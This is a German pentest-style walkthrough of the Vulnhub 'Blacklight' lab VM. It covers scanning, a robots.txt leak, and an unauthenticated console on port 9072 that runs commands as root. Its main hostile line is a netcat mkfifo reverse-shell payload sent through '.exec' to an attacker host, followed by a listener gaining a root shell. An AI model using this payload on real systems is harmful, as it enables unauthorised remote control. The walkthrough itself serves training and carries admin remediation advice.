BLACKLIGHT - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
nc (netcat)
hash-identifier

Inhaltsverzeichnis

Reconnaissance

Analyse: Wir beginnen wieder mit der Identifizierung des Ziels im lokalen Netzwerk mittels `arp-scan -l`. Dieses Tool sendet ARP-Requests, um aktive Geräte und deren IP-/MAC-Adressen zu finden.

Bewertung: Erfolgreich! Wir finden einen Host mit der IP 192.168.2.126. Die MAC-Adresse 08:00:27:73:db:5c gehört zu "PCS Systemtechnik GmbH", was stark auf eine VirtualBox-VM hindeutet. Dies ist unser Ziel für den weiteren Test.

Empfehlung (Pentester): Die IP 192.168.2.126 als Ziel für alle weiteren Scans und Angriffe verwenden.
Empfehlung (Admin): Netzwerk-Inventarisierung pflegen, um bekannte von unbekannten Geräten unterscheiden zu können. Überwachung auf übermäßige ARP-Scan-Aktivitäten.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.126   08:00:27:73:db:5c       PCS Systemtechnik GmbH

Analyse: Zur Vereinfachung tragen wir die IP-Adresse des Ziels mit dem Hostnamen `black.vln` in unsere lokale `/etc/hosts`-Datei ein. Dies ermöglicht es uns, den Hostnamen anstelle der IP-Adresse in nachfolgenden Befehlen zu verwenden.

Bewertung: Eine reine Komfortmaßnahme für den Pentester, die die Lesbarkeit von Befehlen verbessert und Tippfehler reduziert. Keine direkte Sicherheitsauswirkung auf das Ziel.

Empfehlung (Pentester): Hostnamen in `/etc/hosts` zu definieren ist eine gute Praxis, besonders bei komplexeren Umgebungen.
Empfehlung (Admin): Keine spezifischen Maßnahmen erforderlich, es sei denn, interne Systeme verlassen sich unsicher auf lokale Hostnamenauflösung.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Inhalt der Datei nach Bearbeitung (relevante Zeile):
192.168.2.126    black.vln

Analyse: Wir führen einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Ziel zu identifizieren.

Bewertung: Der Scan findet zwei offene TCP-Ports:

Die Angriffsfläche auf Netzwerkebene scheint relativ klein zu sein, was den Fokus auf diese beiden Ports lenkt.

Empfehlung (Pentester): Den Webserver auf Port 80 untersuchen (Nikto, Gobuster, manuelle Prüfung). Den unbekannten Dienst auf Port 9072 genauer analysieren (z.B. mit `nc`, spezifischeren Nmap-Skripten oder Tools zur Diensterkennung).
Empfehlung (Admin): Überprüfen, welcher Dienst auf Port 9072 läuft und ob dieser notwendig und sicher ist. Falls nicht, den Dienst deaktivieren oder durch die Firewall blockieren. Den Apache-Server auf dem neuesten Stand halten.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.126 -p- | grep open
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
9072/tcp open  unknown

Web Enumeration

Analyse: Wir verwenden Nikto, um den Webserver auf Port 80 auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien zu scannen.

Bewertung: Nikto liefert einige nützliche Hinweise:

Die aktivierte Verzeichnisauflistung und die veraltete Apache-Version sind die wichtigsten Ergebnisse hier.

Empfehlung (Pentester): Die Verzeichnisse `/css/` und `/img/` manuell auf interessante oder ungewöhnliche Dateien prüfen. Die Apache-Version 2.4.29 auf bekannte Exploits untersuchen. Die fehlenden Sicherheitsheader und das ETag-Leak für den Bericht notieren.
Empfehlung (Admin): Apache auf die neueste Version aktualisieren. Fehlende Sicherheitsheader hinzufügen. Verzeichnisauflistung deaktivieren (z.B. `Options -Indexes` in der Apache-Konfiguration). Die `PTINS`-Methode überprüfen und korrigieren. ETag-Konfiguration prüfen, um Informationslecks zu vermeiden (z.B. `FileETag None`).

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.126
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.126
+ Target Hostname:    192.168.2.126
+ Target Port:        80
+ Start Time:         2023-07-02 23:48:15 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 6df, size: 56e163c2e4a62, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2023-07-02 23:48:28 (GMT2) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Wir nutzen Gobuster, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen. Wir verwenden eine umfangreiche Liste von Erweiterungen (`-x`) und eine gängige Wortliste (`directory-list-2.3-medium.txt`). Statuscodes 403 und 404 werden ignoriert (`-b`).

Bewertung: Gobuster findet einige Standardverzeichnisse (`/img`, `/css`, `/js`, `/fonts`) und Dateien (`index.html`, `404.html`), die meist zur Webseitenstruktur gehören. Der wichtigste Fund ist jedoch `/robots.txt`. Diese Datei gibt Suchmaschinen (und Angreifern) Hinweise darauf, welche Bereiche einer Webseite nicht indexiert werden sollen – oft werden dort interessante Pfade versteckt.

Empfehlung (Pentester): Die Datei `/robots.txt` unbedingt abrufen und ihren Inhalt analysieren. Die anderen gefundenen Verzeichnisse (insbesondere `/js`, `/javascript`, `/footer`) ebenfalls manuell oder mit weiteren Scans untersuchen.
Empfehlung (Admin): Sicherstellen, dass die `/robots.txt`-Datei keine sensiblen Pfade oder Dateinamen preisgibt. Sicherheit durch `robots.txt` ist keine echte Sicherheit ("Security through obscurity") – sensible Bereiche müssen anderweitig geschützt werden (z.B. durch Authentifizierung).

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://black.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://black.vln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              ... (siehe Befehl) ...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/07/02 23:55:10 Starting gobuster in directory enumeration mode
===============================================================
http://black.vln/index.html           (Status: 200) [Size: 1759]
http://black.vln/img                  (Status: 301) [Size: 304] [--> http://black.vln/img/]
http://black.vln/footer               (Status: 301) [Size: 307] [--> http://black.vln/footer/]
http://black.vln/css                  (Status: 301) [Size: 304] [--> http://black.vln/css/]
http://black.vln/js                   (Status: 301) [Size: 303] [--> http://black.vln/js/]
http://black.vln/javascript           (Status: 301) [Size: 311] [--> http://black.vln/javascript/]
http://black.vln/404.html             (Status: 200) [Size: 425]
http://black.vln/robots.txt           (Status: 200) [Size: 40]
http://black.vln/fonts                (Status: 301) [Size: 306] [--> http://black.vln/fonts/]
===============================================================
2023/07/02 23:58:05 Finished
===============================================================

Analyse: Der Pentester untersucht den Quellcode der Startseite (`index.html`). Im Quellcode (oder durch weitere Interaktion mit der Seite) wird offenbar ein weiterer Hostname, `carterbrainerd.me`, entdeckt, der auf dieselbe IP-Adresse zeigt.

Bewertung: Das Finden zusätzlicher Hostnamen (Virtual Hosts) kann wichtig sein, da Webserver Inhalte oft basierend auf dem angefragten Hostnamen ausliefern. Es ist möglich, dass unter `carterbrainerd.me` andere Inhalte oder Anwendungen erreichbar sind als unter `black.vln`.

Empfehlung (Pentester): Den neuen Hostnamen `carterbrainerd.me` ebenfalls zur `/etc/hosts`-Datei hinzufügen. Erneute Web-Enumerations-Scans (Nikto, Gobuster) gezielt gegen diesen neuen Hostnamen durchführen, um zu sehen, ob andere Inhalte oder Schwachstellen auftauchen.
Empfehlung (Admin): Überprüfen, welche Virtual Hosts auf dem Webserver konfiguriert sind und ob diese alle notwendig sind. Sicherstellen, dass jeder Virtual Host korrekt konfiguriert und abgesichert ist.

# (Kein direkter Befehl, Beschreibung der Aktion/des Fundes)
 

... Verweis auf 'carterbrainerd.me' gefunden ...

# Neuer Eintrag in /etc/hosts hinzugefügt:
192.168.2.126    black.vln carterbrainerd.me
 

Analyse: Wir rufen die zuvor von Gobuster gefundene Datei `http://black.vln/robots.txt` ab und analysieren ihren Inhalt.

Bewertung: Die `robots.txt` enthält extrem wertvolle Informationen:

Diese Datei liefert uns direkte Ziele für die nächsten Schritte.

Empfehlung (Pentester): Sofort versuchen, die Dateien `http://black.vln/flag1.txt` und `http://black.vln/blacklight.dict` herunterzuladen (z.B. mit `wget` oder im Browser) und deren Inhalt zu analysieren.
Empfehlung (Admin): Niemals Dateinamen von Flags oder potenziellen Passwortlisten in `robots.txt` eintragen! Diese Datei ist öffentlich zugänglich und dient nicht dem Schutz sensibler Informationen.

# (Kein direkter Befehl, Abruf von http://black.vln/robots.txt im Browser oder mit wget)
 
User-agent: *
flag1.txt
blacklight.dict
 

Analyse: Wir rufen die in `robots.txt` gefundene Datei `http://black.vln/flag1.txt` ab.

Bewertung: Erfolg! Die Datei enthält die erste Flag: `fc4c7223964a26b152823d14f129687207e7fe15`. Zusätzlich enthält sie einen wichtigen Hinweis: "9072. The secret is at home.". Dies bezieht sich eindeutig auf den offenen Port 9072, den wir beim Nmap-Scan entdeckt haben, und deutet darauf hin, dass dort der Schlüssel zur weiteren Kompromittierung liegt.

Empfehlung (Pentester): Die Flag notieren. Den Fokus nun auf die Untersuchung des Dienstes auf Port 9072 legen. Die heruntergeladene Datei `blacklight.dict` für spätere Passwort-Cracking-Versuche aufbewahren (falls benötigt).
Empfehlung (Admin): Flags oder sensible Hinweise dürfen nicht in öffentlich zugänglichen Textdateien auf dem Webserver gespeichert werden.

# (Kein direkter Befehl, Abruf von http://black.vln/flag1.txt im Browser oder mit wget)
{flag1:fc4c7223964a26b152823d14f129687207e7fe15}

9072. The secret is at home.

Analyse: Die Datei `blacklight.dict` wurde (implizit) heruntergeladen. Es handelt sich um eine Wörterbuchdatei, die wahrscheinlich für das Knacken von Passwörtern oder Hashes relevant ist.

Bewertung: Der Besitz dieser spezifischen Wörterbuchdatei ist wichtig, da sie möglicherweise maßgeschneiderte Passwörter für dieses System enthält, die in Standardlisten wie `rockyou.txt` fehlen könnten.

Empfehlung (Pentester): Die Datei `blacklight.dict` aufbewahren und für zukünftige Brute-Force- oder Hash-Cracking-Versuche verwenden, falls Passwörter oder Hashes gefunden werden.
Empfehlung (Admin): Passwortlisten oder Wörterbücher sollten nicht auf einem öffentlich zugänglichen Webserver gespeichert werden.

Initial Access & Privilege Escalation (POC)

Analyse: Basierend auf dem Hinweis aus `flag1.txt` verbinden wir uns mit Netcat (`nc`) zum Dienst auf Port 9072 des Zielsystems.

Bewertung: Wir erhalten eine Antwort! Es meldet sich eine "BLACKLIGHT console mk1". Mit dem Befehl `.help` erhalten wir eine Liste der verfügbaren Befehle:

Dieser benutzerdefinierte Dienst scheint der Schlüssel zum System zu sein und bietet eine Möglichkeit zur Befehlsausführung.

Empfehlung (Pentester): Die Befehle `.readhash` und `.exec` testen. Herausfinden, mit welchen Rechten die `.exec`-Befehle ausgeführt werden.
Empfehlung (Admin): Benutzerdefinierte Dienste wie dieser sind oft eine Quelle von Schwachstellen, wenn sie nicht sorgfältig entwickelt und getestet werden. Den Dienst auf Port 9072 untersuchen, absichern (Authentifizierung, Input-Validierung, minimale Rechte) oder entfernen, falls er nicht notwendig ist.

┌──(root㉿cyber)-[~] └─# nc 192.168.2.126 9072
 
BLACKLIGHT console mk1. Type .help for instructions
.help
.readhash - Get one step closer
.exec  cmd  - Execute commands
.quit - Exit the server
 

Analyse: Wir verbinden uns erneut mit `nc` und versuchen, den Befehl `id` über `.exec` auszuführen: `.exec id`.

Bewertung: Der Dienst antwortet mit "You have one more command until the server shuts down. Choose wisely!". Dies zeigt zwei Dinge: 1. Der `.exec`-Befehl funktioniert prinzipiell. 2. Es gibt eine starke Einschränkung: Nur zwei Befehle pro Verbindung sind erlaubt (der erste war `.exec id`, der zweite fehlt hier, aber die Meldung impliziert das Limit). Diese Limitierung erschwert die interaktive Erkundung erheblich.

Empfehlung (Pentester): Eine Strategie entwickeln, um die Limitierung zu umgehen oder die wichtigsten Informationen/Aktionen in zwei Befehlen unterzubringen. Optionen:


Empfehlung (Admin): Die künstliche Limitierung auf zwei Befehle ist keine robuste Sicherheitsmaßnahme. Die zugrundeliegende Schwachstelle (fehlende Authentifizierung und direkte Befehlsausführung) muss behoben werden. Den Dienst absichern oder entfernen.

┌──(root㉿cyber)-[~] └─# nc 192.168.2.126 9072
 
BLACKLIGHT console mk1. Type .help for instructions
.exec id
You have one more command until the server shuts down. Choose wisely!
# (Verbindung vermutlich hier beendet oder weiterer Befehl führt zum Abbruch)
 

Analyse: Wir verbinden uns erneut und versuchen nun, zuerst `.exec id` und dann `.readhash` auszuführen.

Bewertung: `.exec id` liefert wieder die "one more command"-Warnung. `.readhash` wird jedoch ausgeführt und liefert einen langen Hash-String: `b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6`. Danach wird die Verbindung mit "Bye!" beendet, was die Zwei-Befehle-Limitierung bestätigt. Wir haben nun einen wichtigen Hash erhalten.

Empfehlung (Pentester): Den extrahierten Hash mit Tools wie `hash-identifier` analysieren, um den Hash-Typ zu bestimmen. Anschließend versuchen, den Hash offline zu knacken, idealerweise mit der zuvor gefundenen Wörterbuchdatei `blacklight.dict` und Tools wie `hashcat` oder `john`. Da wir aber auch `.exec` haben, ist der direktere Weg über eine Reverse Shell wahrscheinlich effizienter.
Empfehlung (Admin): Keine Hashes über unsichere, unauthentifizierte Dienste preisgeben. Den Dienst absichern oder entfernen.

┌──(root㉿cyber)-[~] └─# nc 192.168.2.126 9072
 
BLACKLIGHT console mk1. Type .help for instructions
.exec id
You have one more command until the server shuts down. Choose wisely!
.readhash
b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6
Bye!
 

Analyse: Wir verwenden `hash-identifier`, um den Typ des extrahierten Hashes zu bestimmen.

Bewertung: `hash-identifier` identifiziert den Hash am wahrscheinlichsten als SHA-256 oder Haval-256. SHA-256 ist heutzutage weitaus gebräuchlicher.

Empfehlung (Pentester): Falls das Knacken des Hashes verfolgt wird: Tools wie `hashcat` mit dem Modus für SHA-256 (z.B. `-m 1400`) und der `blacklight.dict`-Liste verwenden. Der direktere Weg über `.exec` bleibt jedoch attraktiv.
Empfehlung (Admin): Sicherstellen, dass Passwörter immer mit modernen, starken Hashing-Algorithmen und Salt gespeichert werden.

┌──(root㉿cyber)-[~] └─# hash-identifier b5f4723bd6df85b54b0905bd6d734be9ef1cc1eb977413a932a828b5c52ef5a6
 

   #########################################################################
   #     __  __                     __           __ Identificador de Hash #
   #    / / / /___  ____ ___  ___  / /__  ____  / /_                      #
   #   / /_/ / __ \/ __ `__ \/ _ \/ __/ / __ \/ __/                      #
   #  / __  / /_/ / / / / / /  __/ /___/ / / / /_                        #
   # /_/ /_/\____/_/ /_/ /_/\___/\____/_/ /_/\__/                        #
   #                                                                       #
   #                                         By Zion3R #www.blackploit.com #
   #                                                             Update by #
   #                                     ToolsBox #www.toolsbox.online.com #
   #########################################################################

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
 

Analyse: Da wir wissen, dass `.exec` funktioniert und wir nur einen "echten" Befehl nach `.exec` haben, bevor die Verbindung schließt, entscheiden wir uns, eine Reverse Shell mit einem einzigen komplexen Befehl zu starten. Wir verbinden uns erneut mit `nc 192.168.2.126 9072`. Als Befehl verwenden wir: `.exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.125 9001 >/tmp/f` Dies ist der klassische Netcat-Reverse-Shell-Payload, der eine interaktive Shell (`/bin/sh -i`) startet und deren Ein- und Ausgabe über Netcat an unseren Angreifer-PC (192.168.2.125) auf Port 9001 umleitet. (Hinweis: Die Angreifer-IP hat sich von .137 auf .125 geändert, dies muss konsistent sein).

Bewertung: Dies ist der entscheidende Schritt für den Zugriff und die Rechteausweitung. Indem wir den gesamten Reverse-Shell-Befehl als Argument für `.exec` übergeben, nutzen wir die erlaubte Befehlsausführung, um eine dauerhafte interaktive Verbindung außerhalb der Zwei-Befehle-Limitierung aufzubauen.

Empfehlung (Pentester): Parallel zu diesem Befehl einen Netcat-Listener auf dem Angreifer-PC (192.168.2.125) auf Port 9001 starten (`nc -lvnp 9001`), um die eingehende Verbindung aufzufangen.
Empfehlung (Admin): Die Befehlsausführung über den Netzwerkdienst auf Port 9072 ist die kritische Schwachstelle. Sie muss entfernt werden. Input-Sanitisierung und das Ausführen von Diensten mit minimalen Rechten sind essentiell.

┌──(root㉿cyber)-[~] └─# nc 192.168.2.126 9072
 
BLACKLIGHT console mk1. Type .help for instructions
.exec rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.125 9001 >/tmp/f
# (Keine direkte Ausgabe vom .exec Befehl, aber Payload wird ausgeführt)

Analyse: Auf unserem Angreifer-PC (192.168.2.125) starten wir einen Netcat-Listener auf Port 9001 mit `nc -lvnp 9001`.

Kurz nachdem der Payload auf dem Zielsystem ausgeführt wurde, meldet unser Listener eine eingehende Verbindung von 192.168.2.126.

Bewertung: Exzellent! Die Reverse Shell war erfolgreich. Wir erhalten einen Shell-Prompt (`#`), was oft auf Root-Rechte hindeutet. Die Meldung `/bin/sh: 0: can't access tty; job control turned off` ist typisch für einfache Reverse Shells, die keine vollwertige Terminal-Emulation haben.

Empfehlung (Pentester): Sofort die Rechte mit `id` überprüfen. Die Shell stabilisieren (z.B. mit Python PTY Trick: `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`), falls nötig. Mit der Erkundung als Root beginnen.
Empfehlung (Admin): Ausgehende Verbindungen vom Server auf ungewöhnliche Ports wie 9001 blockieren oder überwachen. Host-basierte Erkennungssysteme können Netcat-Reverse-Shell-Muster erkennen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
 
listening on [any] 9001 ...
connect to [192.168.2.125] from (UNKNOWN) [192.168.2.126] 46616
/bin/sh: 0: can't access tty; job control turned off
#
 

Analyse: Wir führen in der erhaltenen Reverse Shell den Befehl `id` aus, um unsere Benutzer- und Gruppen-IDs zu überprüfen.

Bewertung: Volltreffer! Die Ausgabe `uid=0(root) gid=0(root) groups=0(root)` bestätigt, dass der Dienst auf Port 9072 und somit unser `.exec`-Befehl direkt mit Root-Rechten ausgeführt wurde. Wir haben sofortigen Root-Zugriff erlangt, ohne einen separaten Privilege-Escalation-Schritt nach dem initialen Zugriff.

Empfehlung (Pentester): Das System als Root erkunden. Die Root-Flag suchen und auslesen. Verstehen, warum der Dienst auf Port 9072 als Root lief.
Empfehlung (Admin): Kritische Schwachstelle! Der Dienst auf Port 9072 darf **niemals** als Root laufen. Er sollte entweder entfernt oder mit einem dedizierten Benutzer mit minimalen Rechten ausgeführt werden.

 
# id
uid=0(root) gid=0(root) groups=0(root)
 

Analyse: Wir führen `ls -la` aus, um den Inhalt des aktuellen Verzeichnisses aufzulisten und `pwd`, um das aktuelle Verzeichnis zu ermitteln.

Bewertung: `pwd` zeigt `/root`. Wir befinden uns im Home-Verzeichnis des Root-Benutzers. `ls -la` listet den Inhalt auf, der Standard-Konfigurationsdateien und ein `.ssh`-Verzeichnis enthält. Die Root-Flag (`root.txt`) ist hier nicht direkt sichtbar, könnte aber in einem Unterverzeichnis liegen oder einen anderen Namen haben.

Empfehlung (Pentester): Nach der Root-Flag suchen. Da `flag1.txt` bereits eine Flag enthielt, könnte diese auch die Root-Flag sein, oder es gibt eine separate `root.txt`. Das gesamte `/root`-Verzeichnis durchsuchen.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Dateien im `/root`-Verzeichnis liegen. SSH-Zugriff für Root über Passwort deaktivieren (`PermitRootLogin prohibit-password` oder `PermitRootLogin no` in `sshd_config`).

 
# ls -la
total 36
drwx------  4 root root 4096 Jun  7  2018 .
drwxr-xr-x 23 root root 4096 Jun  7  2018 ..
-rw-------  1 root root 5188 Jun  8  2018 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x  3 root root 4096 Jun  7  2018 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Jun  7  2018 .selected_editor
drwx------  2 root root 4096 Jun  7  2018 .ssh
# pwd
/root
#
 

Analyse: Wir bestätigen verbal den Erfolg der Privilege Escalation.

Bewertung: Das Ziel, Root-Rechte zu erlangen, wurde durch die Ausnutzung des Dienstes auf Port 9072 erreicht.

Empfehlung (Pentester): Flag(s) auslesen.
Empfehlung (Admin): Den unsicheren Dienst auf Port 9072 entfernen oder absichern.

# 
wir sind root - Privilege Escalation erfolgreich

Flags

cat /path/to/flag1.txt (or root.txt)
fc4c7223964a26b152823d14f129687207e7fe15

Analyse: Mit Root-Rechten lesen wir die Flag aus. Der bereitgestellte Text zeigt den Inhalt von `root.txt` als identisch mit dem zuvor in `flag1.txt` gefundenen Wert.

Bewertung: Die Flag wurde erfolgreich extrahiert. Der Penetrationstest ist abgeschlossen.

Empfehlung (Pentester): Die Flag im Bericht dokumentieren.
Empfehlung (Admin): Die Schwachstellen beheben, die zum Erlangen der Flag geführt haben (unsicherer Dienst auf Port 9072, Informationslecks über `robots.txt` und Webdateien).